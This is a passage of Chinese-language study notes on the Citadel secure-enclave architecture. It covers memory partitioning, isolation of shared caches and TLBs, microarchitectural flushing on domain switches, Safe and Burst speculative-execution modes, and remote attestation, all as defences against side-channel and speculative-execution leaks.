- store-load 依赖解析:先前的 store addresses 已经确认不是相同地址(或已 retired);
- 值预测或其他 speculated sources 被证明正确;
- 指令到达 ROB 头并被 non‑speculatively retired(最终保证 safe,但往往是最晚时机);
- 若指令被 squash(mis-speculation),直接丢弃并无需清位(ROB entry 被回收)。
Citadel
微架构隔离
1.内存隔离:区分私有 / 共享内存,避免地址混淆原理
攻击者利用共享内存地址别名或权限混淆,构造 “通用读取 gadget” 泄露私有数据。通过严格划分内存权限和地址空间,确保私有内存仅 enclave 可访问,共享内存地址独立,阻断地址层面的攻击路径。
实现细节
- 物理内存分区 :将物理内存划分为 64 个 32MB 固定区域,由安全监控器(SM)分配给不同安全域(enclave、OS、SM),核心通过内存位图寄存器存储访问权限,所有内存访问(含投机和页表遍历)均需经过权限校验。
- 双页表机制 :
- 私有页表:enclave 私有内存使用独立页表,存储在 enclave 私有内存中,仅 enclave 可访问;
- 共享页表:共享内存使用单独页表,存储在共享内存中,OS 和 enclave 均有权限;
- 地址区分:通过两个专用寄存器定义 enclave 私有虚拟内存范围,仅需虚拟地址即可判断内存类型,无需投机翻译物理地址(避免泄露)。
- 跨域访问控制 :地址翻译时额外校验,确保访问地址与当前安全域匹配(私有内存仅 enclave 访问,共享内存需符合权限)。
应用场景
- enclave 与 OS 共享内存通信(如 I/O、消息传递)时,避免 OS 通过地址混淆访问 enclave 私有内存;
- 私有共享内存场景(如多个 enclave 间通信),确保 OS 无法窥探。
2. 共享组件隔离:阻断共享微架构的侧信道
原理
现代 CPU 共享组件(LLC、TLB、L1 缓存)是侧信道攻击的关键载体(如 LLC 缓存攻击、TLB 别名攻击)。通过对共享组件分区、 tagging 或旁路,避免跨安全域的状态泄露。
实现细节
| 共享组件 | 防护机制 | 原理 | 实现 |
|---|---|---|---|
| LLC(末级缓存) | 动态分区 + 细粒度刷新 | 避免不同安全域的缓存行竞争,防止通过缓存状态泄露 | 1. 按内存区域动态划分 LLC,SM 可配置每个区域的缓存切片大小;2. 新增 “Zero Device” 逻辑,支持按需刷新指定 LLC 切片(仅需访问对应地址的驱逐集);3. 缓存访问时按物理内存区域 ID 映射到对应切片。 |
| TLB/ATC(地址翻译缓存) | 标签隔离 | 防止跨域地址别名导致的翻译状态泄露 | 为 TLB/ATC 条目添加 “私有 / 共享内存” 标签,翻译时仅匹配同标签条目,避免混淆。 |
| L1-D 缓存 | 旁路机制 | 避免 enclave 私有 L1 状态通过缓存一致性协议泄露 | enclave 访问共享内存时,直接绕过 L1-D 缓存,数据从 LLC 直接加载 / 存储,减少 L1 状态暴露。 |
| MSHR(缺失状态保持寄存器) | 静态分区 | 防止跨核 MSHR 竞争导致的泄露 | 为不同核心静态分配 MSHR 资源,避免一个核心的请求影响另一个核心的 MSHR 状态。 |
应用场景
- LLC 分区:适用于 enclave 和 OS 同时运行、需频繁访问共享内存的场景(如私有 ML 推理中加载共享模型权重);
- L1-D 旁路:适用于共享内存访问无 temporal 复用的场景(如一次性数据传输),避免 L1 状态泄露;
- TLB tagging:适用于大页内存场景,防止跨域地址别名攻击。
3. 上下文切换清理:清除状态残留
原理
安全域切换(如 OS→enclave、enclave→OS)时,微架构状态(L1 缓存、TLB、分支预测器)可能残留前一域的执行痕迹,成为侧信道。通过切换时强制清理,阻断状态残留泄露。
实现细节
- 触发时机 :由 SM 介入所有安全域切换(如 enclave 创建 / 销毁、OS 调用 enclave);
- 清理范围 :L1 缓存、TLB、ATC、MSHR、分支预测器(BTB/BHT/RAS);
- 优化策略 :放松清理政策 ——enclave 与 mini-SM(enclave 私有 SM 副本)切换时不清理(二者无秘密隔离需求),仅跨安全域(如 enclave→OS)时全量清理。
应用场景
- enclave 与 OS 频繁切换的场景(如加密库处理多个 OS 请求);
- 多 enclave 共享核心的场景,避免 enclave 间状态残留泄露。
受控投机执行
通过两种执行模式,在 “安全” 和 “性能” 间平衡,确保投机执行不额外泄露秘密(符合 RMI 属性)。
1.Safe Mode(默认模式:无代码分析,普适安全)
原理
攻击者利用投机执行访问共享内存,修改共享微架构状态(如 LLC 缓存)泄露秘密。Safe Mode 禁止 “投机访问共享内存”,仅允许非投机状态(指令到达 ROB 头部)的共享内存访问,从根源阻断投机泄露。
实现细节
- 判断逻辑 :内存执行流水线早期校验 —— 若访问共享内存且处于投机状态(未到达 ROB 头部),则判定为 “不安全”;
- 处理流程 :
- 不安全访问被 squash(撤销执行),并向内存保留站(MemRS)发送 “重新调度” 信号;
- 待指令到达 ROB 头部(非投机状态),MemRS 重新调度该访问,执行共享内存操作;
- 关键优化 :仅限制共享内存的投机访问,私有内存的投机执行不受影响(降低性能开销)。
应用场景
- 无需高性能、代码片段复杂(难以分析)的场景,如 Python 运行时的通用代码、加密库中的非热点路径;
- 作为默认模式,覆盖所有未启用 Burst Mode 的代码,确保基础安全性。
2. Burst Mode(性能优化模式:需静态代码分析)
原理
Safe Mode 对共享内存访问的延迟会影响性能(如 memcpy、批量数据传输)。Burst Mode 允许 “有限投机访问共享内存”,但通过 “直线投机 + 静态代码分析” 确保投机路径不泄露秘密。
实现细节
(1)硬件层面:限制投机类型
- 禁用复杂分支预测器:关闭 BTB(分支目标缓冲区)、BHT(分支历史表)、RAS(返回地址栈);
- 强制直线投机:仅预测 “pc+4”(顺序执行),无间接分支或跳转预测,避免攻击者操控预测目标;
- 投机屏障:通过 CSR 寄存器写入启用 Burst Mode,该写入指令同时作为投机屏障,隔离前后代码的投机状态。
(2)软件层面:静态代码分析(工具 sta)
- 分析目标:代码片段需满足两个条件:
- 自包含性:控制流限于代码片段内,无间接分支,所有分支目标均在片段内;
- 无秘密泄露:投机路径中访问的共享内存地址不依赖秘密数据(通过反向依赖分析验证,标记 “泄露寄存器”,确保其不关联秘密);
- 工具输出:通过分析的代码片段可启用 Burst Mode,未通过的仍使用 Safe Mode。
应用场景
- 高性能需求的代码片段,如 memcpy(顺序共享内存访问)、ML 推理中的批量数据拷贝、加密库中的输入数据预处理;
- 代码片段短小、逻辑简单(易通过静态分析)的场景,避免性能开销。
软件基础设施支撑(核心目标:保障防护机制落地)
1. 安全监控器(SM)+ 迷你 SM(Mini-SM)
原理
SM 是可信根(TCB 核心),负责管理安全域、权限控制和防护机制触发;Mini-SM 避免 SM 成为共享资源泄露点。
实现细节
- SM 功能 :
- 内存区域分配与权限管理(物理内存分区、双页表配置);
- 安全域切换触发(微架构状态清理);
- enclave 生命周期管理(创建、销毁、线程分配);
- Mini-SM 功能 :每个 enclave 私有副本,仅包含 enclave 所需的 SM API 子集,存储在 enclave 私有内存,避免 enclave 调用 SM 时泄露 timing 信息。
应用场景
- 所有 enclave 相关操作的权限校验(如内存访问授权、enclave 启动);
- 跨安全域交互的中介(如 enclave 与 OS 的共享内存权限配置)。
2. 远程证明机制
原理
确保 enclave 的完整性(未被篡改),避免攻击者通过篡改 enclave 代码绕过防护机制。
实现细节
- 测量内容 :enclave 的初始状态(二进制代码、虚拟内存映射、Mini-SM 代码、线程配置);
- 密钥推导 :SM 基于测量结果推导 enclave 的 Ed25519 密钥对,确保相同 enclave 在相同设备上的密钥一致性;
- 证明流程 :SM 为 enclave 生成 attestation 证书(包含测量结果和公钥),远程用户通过验证证书确认 enclave 完整性,再通过公钥建立安全通信。
应用场景
- 跨网络的 enclave 交互(如云端私有 ML 推理服务),用户验证服务端 enclave 未被篡改;
- 敏感数据传输前的身份校验(如加密库接收客户端数据前,客户端验证 enclave 合法性)。